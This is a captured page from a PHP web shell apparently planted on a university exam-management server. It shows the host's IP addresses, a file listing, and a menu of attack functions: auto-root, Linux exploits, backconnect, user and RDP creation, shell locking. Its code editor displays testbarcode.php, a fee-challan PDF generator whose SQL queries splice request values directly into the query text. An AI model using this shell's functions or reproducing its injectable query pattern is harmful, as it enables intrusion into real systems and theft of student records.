Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.74.47
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ycm_stop /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
DownloadExamAppFormApplication...
5.97
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
6.01
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
5.26
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.26
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.76
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
7.15
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.67
KB
-rwxr-xr-x
appfeedetails.php
8.59
KB
-rwxr-xr-x
appfeedetails25022017.php
6.46
KB
-rwxr-xr-x
appfeedetailspdf.php
7.58
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
cManualMailer.php
1.45
KB
-rwxr-xr-x
cconfig.php
1.14
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_degree_details.php
4.57
KB
-rwxr-xr-x
college_pending_markslist.php
6.74
KB
-rwxr-xr-x
hallticketcomm.php
29.47
KB
-rwxr-xr-x
iaemptyformat.php
7.1
KB
-rwxr-xr-x
marls_subjectwise.php
10.22
KB
-rwxr-xr-x
photo_report.php
6.29
KB
-rwxr-xr-x
practical_marks_report.php
5.45
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
10
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_listnehu.php
24.67
KB
-rwxr-xr-x
report_admission_ticket.php
47.9
KB
-rwxr-xr-x
report_admission_ticket0802201...
36.96
KB
-rwxr-xr-x
report_admission_ticket1111201...
40.47
KB
-rwxr-xr-x
report_admission_ticket1711201...
42.51
KB
-rwxr-xr-x
report_admission_ticket_before...
13.33
KB
-rwxr-xr-x
report_admission_ticket_kus (2...
36.42
KB
-rwxr-xr-x
report_admission_ticket_kus.ph...
16.15
KB
-rwxr-xr-x
report_admission_ticket_nitte....
26.22
KB
-rwxr-xr-x
report_admission_ticket_old.ph...
46.07
KB
-rwxr-xr-x
report_admission_ticketcopy.ph...
32.41
KB
-rwxr-xr-x
report_admission_ticketkswu.ph...
15.07
KB
-rwxr-xr-x
report_admission_ticketold.php
30.03
KB
-rwxr-xr-x
report_admission_ticketold0911...
34.52
KB
-rwxr-xr-x
report_admission_ticketoldform...
30.91
KB
-rwxr-xr-x
report_attendance_sheet.php
12.93
KB
-rwxr-xr-x
report_attendance_summary.php
7.57
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
6.85
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.36
KB
-rwxr-xr-x
report_batch_wise_details.php
7.59
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.16
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.07
KB
-rwxr-xr-x
report_bundle_dispatch.php
8.03
KB
-rwxr-xr-x
report_candidate_list.php
25.9
KB
-rwxr-xr-x
report_candidate_list_before_f...
25.19
KB
-rwxr-xr-x
report_candidate_list_before_s...
19.8
KB
-rwxr-xr-x
report_daliy_report.php
10.88
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.03
KB
-rwxr-xr-x
report_daliy_report_qp_new.php
9.93
KB
-rwxr-xr-x
report_daliy_report_qp_wait.ph...
9.9
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
6.71
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
4.35
KB
-rwxr-xr-x
report_marks_elementwisenew.ph...
4.67
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.58
KB
-rwxr-xr-x
report_marks_entry_subjectwise...
10.99
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
12.49
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.13
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
9.16
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.05
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_pr_pending.php
7.48
KB
-rwxr-xr-x
report_practical_marks_details...
13.51
KB
-rwxr-xr-x
report_practical_marks_details...
14.31
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.34
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
14.47
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
14.05
KB
-rwxr-xr-x
report_ra_invigilators_dairy22...
13.39
KB
-rwxr-xr-x
report_ra_invigilators_dairy24...
8.83
KB
-rwxr-xr-x
report_ra_invigilators_dairy28...
11.95
KB
-rwxr-xr-x
report_ra_invigilators_dairy_y...
13.39
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
7.53
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.42
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
7.57
KB
-rwxr-xr-x
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_sectionwiselist.php
4.61
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.48
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.13
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantsummary.php
3.5
KB
-rwxr-xr-x
roomwise_register_nos_list.php
16.5
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
s
32.36
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
student_count.php
4.05
KB
-rwxr-xr-x
subject_wise_student_list.php
6.22
KB
-rwxr-xr-x
teacher_report.php
8.11
KB
-rwxr-xr-x
testbarcode.php
19.88
KB
-rwxr-xr-x
topsheet.php
8.41
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : testbarcode.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tarka_pdf/fpdf.php"; //require_once($pdf_writer_class); require('rotation.php'); require_once("report_hall_ticket.php"); //require('code39.php'); class applicationFormReport extends PDF_Rotate { function DefaultConstructor($aobj_context) { $this->aobj_context=$aobj_context; $this->pdf= new PDF_Rotate(); //$this->pdf = new PDF_EAN13(); $this->pdf=$this; $this->app_no=trim($this->aobj_context->mobj_data["app_no"]); $this->ip=$_SERVER["REMOTE_ADDR"]; /* $get_date="select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); require_once("getnumword.php"); $this->current_date=$obj[now_date]; $this->pdf = new PDF_Rotate(); $this->pdf->SetMargins(2,5,2); $this->pdf->addPage('L'); */ } function formcolldata() { $get_coll_name="select FUNIVCODE, FUNIVNAME as 'FUNIVNAME', FUNIVADD1 as 'state', pdf_logo_path,ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ, FSHORTUNIV From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $this->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; $this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $this->FSHORTUNIV=$lobj_get_coll_name['FSHORTUNIV']; $this->s_state=$lobj_get_coll_name['state']; $this->f_year=$lobj_get_coll_name['f_year']; $this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $this->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ']; $this->pdf_Postlogo_path="/img/post_logo.jpg"; } function GetBankDetails() { $get_data="SELECT bank_name, acc_no, branch_name, branch_code, ifsc_code, cheque_favour, place,bank_charge FROM acc_mas where payment_type='{$this->FPAYMENTYPE}'"; $lobj_get_data= $this->aobj_context->mobj_db->GetRow($get_data); $this->bank_name=$lobj_get_data['bank_name']; $this->acc_no=$lobj_get_data['acc_no']; $this->branch_name=$lobj_get_data['branch_name']; $this->branch_code=$lobj_get_data['branch_code']; $this->ifsc_code=$lobj_get_data['ifsc_code']; $this->cheque_favour=$lobj_get_data['cheque_favour']; $this->place=$lobj_get_data['place']; $this->bank_charge=$lobj_get_data['bank_charge']; } function GetData() { $get_app_no=" select FREGNO, FRECPTNO, FRECPTDATE, round(FTOTALFEE) as FTOTALFEE, FPAYMENTYPE, FFEETYPE, FCATEGORY,date_format(collexam.fappto,'%d/%m/%Y') as fappto, date_format(now(),'%d/%m/%y %h:%m %p') as fdate from appcandsum,collexam where APPNO='{$this->app_no}' and appcandsum.FDEGREE = collexam.FDEGREE and appcandsum.FCOLLCODE = collexam.FCOLLCODE"; $obj_get_app_no=$this->aobj_context->mobj_db->GetRow($get_app_no); $this->reg_no=$obj_get_app_no['FREGNO']; $this->FRECPTDATE=$obj_get_app_no['FRECPTDATE']; $this->FTOTALFEE=$obj_get_app_no['FTOTALFEE']; $this->FPAYMENTYPE=$obj_get_app_no['FPAYMENTYPE']; $this->FCATEGORY=$obj_get_app_no['FCATEGORY']; $this->FFEETYPE=$obj_get_app_no['FFEETYPE']; $this->fappto=$obj_get_app_no['fappto']; $this->fdate=$obj_get_app_no['fdate']; $get_other_details="select date_format(current_date,'%d/%m/%Y') as curr_date,FDEGREE,FCOLLCODE,FNAME,CONCAT(IFNULL(FCURRADD1,''),' ',FCURRADD2) AS s_address from student where FREGNO='{$this->reg_no}' "; $lobj_get_name = $this->aobj_context->mobj_db->GetRow($get_other_details); $this->college_code=$lobj_get_name['FCOLLCODE']; $this->degree=$lobj_get_name['FDEGREE']; $this->student_name=$lobj_get_name['FNAME']; $this->s_address=$lobj_get_name['s_address']; $this->curr_date=$lobj_get_name['curr_date']; $get_exam_details="SELECT GROUP_CONCAT(DISTINCT FEXAMNO) AS FEXAMNO FROM appcanddet WHERE APPNO='{$this->app_no}'"; $lobj_get_exam_details= $this->aobj_context->mobj_db->GetRow($get_exam_details); $this->FEXAMNO= $lobj_get_exam_details['FEXAMNO']; $this->GetBankDetails(); } function WriteRect() { $get_date="select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); require_once("getnumword.php"); $this->current_date=$obj[now_date]; $this->pdf = new PDF_Rotate(); $this->pdf->SetMargins(2,5,2); $this->pdf->addPage('L'); $width=96; $this->pdf->Rect(2,5,$width,200); $this->pdf->Rect(2+$width+2,5,$width,200); $this->pdf->Rect(2+$width+$width+4,5,$width,200); if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src.$this->pdf_logo_path; $this->pdf->Image($img_logo_path,4,7,13); $this->pdf->Image($img_logo_path,$width+6,7,13); $this->pdf->Image($img_logo_path,$width+$width+7,7,13); } $width=96; $this->pdf->Rect(2,5,$width,200); $this->pdf->Rect(2+$width+2,5,$width,200); $this->pdf->Rect(2+$width+$width+4,5,$width,200); if(!empty($this->pdf_Postlogo_path)) { $img_logo_path=$this->aobj_context->main_src.$this->pdf_Postlogo_path; $this->pdf->Image($img_logo_path,80,7,13); $this->pdf->Image($img_logo_path,$width+82,7,13); $this->pdf->Image($img_logo_path,$width+$width+85,7,13); } $this->pdf->setY(5); } function formData($label) { $line_height=5; $width=96; $x_pos=2; if($this->pos==2) $x_pos=2+$width+2; if($this->pos==3) $x_pos=2+$width+2+$width+2; $jump_width=$width; if($this->pos==2) $jump_width=$width; else if($this->pos==3) $jump_width=$width; $this->pdf->SetX($x_pos); $this->old_y=$this->pdf->GetY(); $this->pdf->SetFont('Times','B',9); $this->pdf->Cell($jump_width,$line_height,$this->FUNIVNAME,'0',1,'C'); $this->pdf->SetFont('Times','B',8); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,$this->s_state,'0',1,'C'); $this->pdf->SetFont('Times','BU',9); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,'Payment Challan - '.$label,'0',1,'C'); $this->pdf->Ln(2); $this->pdf->SetFont('Times','B',9); // Postal charges calculation. if($this->FUNIVCODE=="003") { if($this->FTOTALFEE <= 1500) $postal_charges = 20; else if($this->FTOTALFEE >1500 && $this->FTOTALFEE <=5000) $postal_charges = 30; else if($this->FTOTALFEE >5000 && $this->FTOTALFEE <=10000) $postal_charges = 40; else if($this->FTOTALFEE >10000 && $this->FTOTALFEE <=15000) $postal_charges = 50; else $postal_charges = 60; } else if($this->FUNIVCODE=="026" || $this->FUNIVCODE=="008" || $this->FUNIVCODE=="033" || $this->FUNIVCODE=="034") { $postal_charges = 20; } else if($this->FUNIVCODE == "017") { $postal_charges = 0; } if($this->FUNIVCODE=="033") $biller = "Divisional Biller ID"; else $biller = "Circle Biller ID"; //$this->barcodeNo = $this->app_no.$this->reg_no.str_pad($this->FTOTALFEE+$postal_charges,5, "0", STR_PAD_LEFT).$this->degree; $this->barcodeNo = $this->app_no.$this->reg_no.str_pad($this->FTOTALFEE+$postal_charges,5, "0", STR_PAD_LEFT); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.35,$line_height,"{$biller}",'1',0,'L'); $this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->FSHORTUNIV}",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.35,$line_height,"Reference No. ",'1',0,'L'); $this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->app_no}",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.35,$line_height,"Reg. No. ",'1',0,'L'); $this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->reg_no}",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.35,$line_height,"Total Amount ",'1',0,'L'); $this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->FTOTALFEE}/-",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.35,$line_height,"Degree ",'1',0,'L'); $this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->degree}",'1',1,'L'); $this->pdf->Ln(2); $this->pdf->SetX($x_pos+1); $this->pdf->SetFont('Times','B',10); if($this->FUNIVCODE !="017") { $tdd1_width=$jump_width*(0.25)-1; $tdd2_width=($jump_width)*.25 ; $tdd3_width=($jump_width)*.25 ; $tdd4_width=($jump_width)*.25-1; $this->pdf->Cell($tdd2_width,$line_height,"Course Fee",'1',0,'C'); $this->pdf->Cell($tdd3_width,$line_height,"Postal Charges",'1',0,'C'); $this->pdf->Cell($tdd4_width,$line_height,"Total",'1',1,'C'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($tdd2_width,$line_height,"Rs {$this->FTOTALFEE}/-",'1',0,'C'); $this->pdf->Cell($tdd3_width,$line_height,"Rs {$postal_charges}/-",'1',0,'C'); $total=($this->FTOTALFEE+$postal_charges); $this->pdf->Cell($tdd4_width,$line_height,"Rs {$total}/-",'1',1,'C'); } $this->pdf->Ln(2); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"Name :",'0',0,'L'); $this->pdf->MultiCell($jump_width*.80,$line_height,$this->student_name,0,"L"); //$this->pdf->Cell($jump_width,$line_height,"Name : {$this->student_name}",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"College :",'0',0,'L'); $this->pdf->Cell($jump_width*.80,$line_height," {$this->college_code}",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"Category :",'0',0,'L'); $this->pdf->Cell($jump_width*.80,$line_height," {$this->FCATEGORY}",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"Fee Type :",'0',0,'L'); $this->pdf->Cell($jump_width*.70,$line_height," {$this->FFEETYPE}",'0',1,'L'); //$this->FEXAMAPPEDATE $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"Challan ",'0',1,'L'); //$this->pdf->Cell($jump_width*.70,$line_height," {$this->FEXAMAPPEDATE}",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.25,$line_height,"Valid Upto : ",'0',0,'L'); $this->pdf->Cell($jump_width*.70,$line_height," {$this->fappto}",'0',1,'L'); //$this->pdf->SetX($x_pos+1); //$this->pdf->Cell(($jump_width-2)*.20,2," ",'0',0,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Rotate(90,$x_pos+108,90); $this->pdf->Cell($jump_width,$line_height,$this->pdf->Code39($x_pos+5,58,$this->barcodeNo),'0',1,'L'); $this->pdf->Rotate(0); $this->pdf->Ln(2); $this->pdf->ln(30); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Date Signature of Remitter",'0',1,'L'); //$this->pdf->Cell($td1_width,$line_height,"Date",'0',0,'L'); //$this->pdf->Cell($td2_width-16,$line_height,"Signature of Remitter ",'0',1,'R'); $this->pdf->ln(20); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Date & Seal Signature of Receiver",'0',1,'L'); //$this->pdf->Cell($td1_width,$line_height,"Date & Seal",'0',0,'L'); //$this->pdf->Cell($td2_width-18,$line_height,"Signature of Receiver ",'0',1,'R'); $this->pdf->SetFont('Times','',9); $this->pdf->Ln(5); $this->pdf->SetX($x_pos+1); if($this->FUNIVCODE=="026") { $this->pdf->MultiCell($jump_width-20,$line_height,'Note: 1. Payment accepted at all e payment Post Offices across the state.',0,"L"); } else { $this->pdf->MultiCell($jump_width-20,$line_height,'Note: 1. Payments will be accepted in Post Offices under Mandya Division.',0,"L"); } $this->pdf->SetX($x_pos+1); $this->pdf->MultiCell($jump_width-20,$line_height,"2. Confirm your payment in www.karnatakapost.gov.in after 2 days of payment.",'0','L'); $this->pdf->Ln(1); $this->pdf->SetX($x_pos+1); $this->pdf->Cell(($jump_width-2)*.10,$line_height,"Date : ",'0',0,'L'); $this->pdf->Cell($jump_width*.80,$line_height,"{$this->fdate}",'0',1,'L'); $this->pdf->SetY($this->old_y); $img_path=$this->aobj_context->main_src.$this->photo_path; } function WriteHallTicket() { $aobj_context=$this->aobj_context; $class_obj=new AdmissionTicket($aobj_context); ini_set("memory_limit",-1); ini_set('max_execution_time',3300); $class_obj->app_no =$this->app_no; $get_data="SELECT FDEGREE,FREGNO FROM appcandsum WHERE APPNO='{$class_obj->app_no}' "; $obj_get_data = $aobj_context->mobj_db->GetRow($get_data); $class_obj->degree_code = $obj_get_data['FDEGREE']; $class_obj->registor_no_starts = $obj_get_data['FREGNO']; $class_obj->registor_no_ends = $obj_get_data['FREGNO']; $pdf=$this->pdf; $pdf->SetMargins(28,3); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'AdmissionTicket'; $pdf->SetFillColor(248, 248 ,255); $pdf->SetFont('Times','',10); $pdf->AddPage("P"); //$pdf->SetMargins(28,9); $pdf->Rect(5,05,200,288); $adm_details=$class_obj->getUniversityDetails(); $adm_details=$class_obj->getCollegeDetails(); $adm_details=$class_obj->getStudentDetails(); $adm_details=$class_obj->getSubjectAppearing(); $page_cnt=1; foreach($class_obj->std_arr as $reg_k=>$reg_v) { //if(!array_key_exists($reg_v['FREGNO'],$class_obj->receipt_date_arr)) //continue; $full_photo_path=""; $full_photo_path=trim($aobj_context->main_src."/".$reg_v[photo_path]); $FTOTALFEE=round($reg_v[FTOTALFEE]); //$pdf->Ln(3); //$pdf->SetLineWidth(0.01); $pdf->SetLineWidth(0.01); $pdf->SetFont('Times','B',14); $img_path=$aobj_context->main_src."/img/logo.jpg"; $full_photo_path=$aobj_context->main_src."/img/nophoto.jpg"; if(file_exists($img_path)) $pdf->Image($img_path,11,12,22); $pdf->Cell(0,4,$class_obj->std_FUNIVNAME,0,1,'C'); $pdf->SetFont('Times','',10); $pdf->Cell(0,4,$this->s_state ,'0',1,'C'); $pdf->SetFont('Times','B',13); $pdf->Ln(2); $pdf->Cell(0,5,'EXAM APPLICATION FORM' ,'0',1,'C'); $pdf->SetFont('Times','B',10); $pdf->Cell(0,5,$reg_v['EXAMDATE'].' EXAMINATION ' ,'0',1,'C'); $pdf->SetFont('Times','',12); $pdf->Ln(6); $pdf->SetFont('Times','',12); $pdf->Image($full_photo_path,155,$pdf->GetY(),27,27); /* if(file_exists($full_photo_path) && !empty($reg_v[photo_path])) { //$pdf->Cell(25,6,' App. No.',0,0,'L'); $pdf->Cell(3,6,' : ',0,0,'L'); $pdf->Image($full_photo_path,155,$pdf->GetY(),27,27); //$pdf->Cell(120,6,' '.$class_obj->sub_arr[$p]['ADMNUM'],0,1,'L'); } */ $pdf->SetFont('Times','B',11); $pdf->Cell(30,6,' App. No.',0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->Cell(120,6,''.$class_obj->app_no,0,1,'L'); $pdf->SetFont('Times','B',11); $pdf->Cell(30,6,' App. Date',0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->Cell(120,6,''.$reg_v['FAPPDATE'],0,1,'L'); $pdf->SetFont('Times','B',11); $pdf->Cell(30,6,' Degree',0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->Cell(120,6,''.$reg_v['COURSE'],0,1,'L'); $pdf->SetFont('Times','B',11); $pdf->Cell(30,6,' College',0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->MultiCell(90,6,''.$reg_v['CollDetails'],0,"L"); $pdf->SetFont('Times','B',11); $pdf->Cell(30,6,' Reg. No.',0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->Cell(120,6,''.$reg_v['FREGNO'],0,1,'L'); $pdf->SetFont('Times','B',11); $pdf->Cell(30,6," Student's Name",0,0,'L'); $pdf->Cell(6,6,' : ',0,0,'L'); $pdf->SetFont('Times','',11); $pdf->Cell(120,6,''.$reg_v['FNAME'],0,1,'L'); $pdf->Ln(1); $pdf->SetFont('Times','B',11); $pdf->Cell(0,5,'Subject Appearing',0,1,'C'); $pdf->Cell(15,6,"Sl. No.","1",0,"C"); $pdf->Cell(20,6,"Sub. Code","1",0,"C"); $pdf->Cell(100,6,"Subject Title","1",0,"C"); $pdf->Cell(20,6,"QP Code","1",1,"C"); $pdf->SetFont('Times','',11); $sub_arr=$reg_v[SUBCODE]; $subj_arr=explode("~",$sub_arr); $sl_no=1; foreach($subj_arr as $ek) { $explode_arr=explode("->",$ek); /* $pdf->Cell(15,6, $sl_no,"1",0,"C"); $pdf->Cell(20,6, $explode_arr[0],"1",0,"C"); $sub_short=$explode_arr[4]; if($class_obj->bth_flag==1) { $pdf->Cell(100,6,$explode_arr[1]." [{$sub_short}]","1",0,"L"); $pdf->Cell(20,6,$explode_arr[3],"1",1,"C"); } else { $pdf->Cell(100,6,$explode_arr[1],"1",0,"L"); $pdf->Cell(20,6,$sub_short,"1",1,"C"); //$pdf->Cell(30,6,'',"1",1,"C"); } $sl_no++; */ $sub_short=$explode_arr[4]; if($class_obj->bth_flag==1) { $pdf->Cell(80,6,$explode_arr[1]." [{$sub_short}]","1",0,"L"); $pdf->Cell(20,6,$explode_arr[3],"1",1,"C"); } else { $get_x1=$pdf->GetX(); $get_y1=$pdf->GetY(); //$pdf->Cell(80,6,$explode_arr[1],"1",0,"L"); $width=15+20+100; $pdf->SetXY($get_x1+15+20,$get_y1); $pdf->MultiCell(100,6,$explode_arr[1],1,"L"); $get_x2=$pdf->GetX(); $get_y2=$pdf->GetY(); $height=$get_y2-$get_y1; $pdf->SetXY($get_x1+15+20+100,$get_y1); //echo $height;die(); //$pdf->Cell(20,$height,$sub_short,"1",0,"C"); //$pdf->Cell(30,$height,'',"1",1,"C"); } $pdf->SetXY($get_x1,$get_y1); $pdf->Cell(15,$height, $sl_no,"1",0,"C"); $pdf->Cell(20,$height, $explode_arr[0],"1",0,"C"); $pdf->SetXY($get_x1+15+20+100,$get_y1); $pdf->Cell(20,$height, $sub_short,"1",1,"C"); $sl_no++; } /* $sub_arr=$reg_v[SUBCODE]; $subj_arr=explode("~",$sub_arr); $sl_no=1; foreach($subj_arr as $ek) { $explode_arr=explode("->",$ek); $sub_short=$explode_arr[4]; if($class_obj->bth_flag==1) { $pdf->Cell(80,6,$explode_arr[1]." [{$sub_short}]","1",0,"L"); $pdf->Cell(20,6,$explode_arr[3],"1",1,"C"); } else { $get_x1=$pdf->GetX(); $get_y1=$pdf->GetY(); //$pdf->Cell(80,6,$explode_arr[1],"1",0,"L"); $width=15+20+80; $pdf->SetXY($get_x1+15+20,$get_y1); $pdf->MultiCell(80,6,$explode_arr[1],1,"L"); $get_x2=$pdf->GetX(); $get_y2=$pdf->GetY(); $height=$get_y2-$get_y1; $pdf->SetXY($get_x1+15+20+80,$get_y1); //echo $height;die(); //$pdf->Cell(20,$height,$sub_short,"1",0,"C"); //$pdf->Cell(30,$height,'',"1",1,"C"); } $pdf->SetXY($get_x1,$get_y1); $pdf->Cell(15,$height, $sl_no,"1",0,"C"); $pdf->Cell(20,$height, $sub_short,"1",1,"C"); $sl_no++; }*/ $pdf->SetFont('Times','B',11); $pdf->ln(10); $pdf->Cell(80,6,"Total Fee : Rs {$FTOTALFEE}/-","10",1,"L"); $pdf->ln(6); $pdf->Cell(150,6,"Signature of the Student","10",1,"R"); if($page_cnt!=count($class_obj->std_arr)) { $pdf->AddPage(); $pdf->Rect(2,05,200,288); } $page_cnt++; } } function SendOutput() { $this->pdf->Output("application_letter_{$this->app_no}.pdf","D"); } } function PrintApplicationFormPOSTOFFICE($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj=new applicationFormReport(); $class_obj->DefaultConstructor($aobj_context); $class_obj->formcolldata(); $class_obj->GetData(); if($class_obj->FTOTALFEE != 0) { $class_obj->WriteRect(); $class_obj->pos=1; $class_obj->formData("Post Office Copy"); $class_obj->pos=2; $class_obj->formData("College Copy"); $class_obj->pos=3; $class_obj->formData("Student Copy"); } if($class_obj->FEXAMAPPREQ=="T") { $class_obj->WriteHallTicket(); } $class_obj->SendOutput(); } ?>
Close